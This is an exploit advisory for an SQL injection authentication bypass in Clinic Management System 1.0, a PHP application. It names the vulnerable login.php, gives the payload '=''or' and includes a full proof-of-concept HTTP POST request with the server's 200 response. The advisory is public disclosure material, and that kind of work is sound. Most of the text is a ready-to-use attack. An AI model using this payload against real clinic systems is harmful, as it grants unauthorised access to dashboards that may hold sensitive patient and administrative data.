Clinic Management System 1.0 - Authentication Bypass

# Exploit Title: Clinic Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-06-02
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/source%20code/login.php

POST /source%20code/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Referer: http://localhost/source%20code/login.php
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
user=admin&email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btn_login=: undefined

HTTP/1.1 200 OK
Date: Mon, 01 Jun 2020 19:52:17 GMT
Server: Apache/2.4.39 (Win64) PHP/7.2.18
X-Powered-By: PHP/7.2.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4726
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8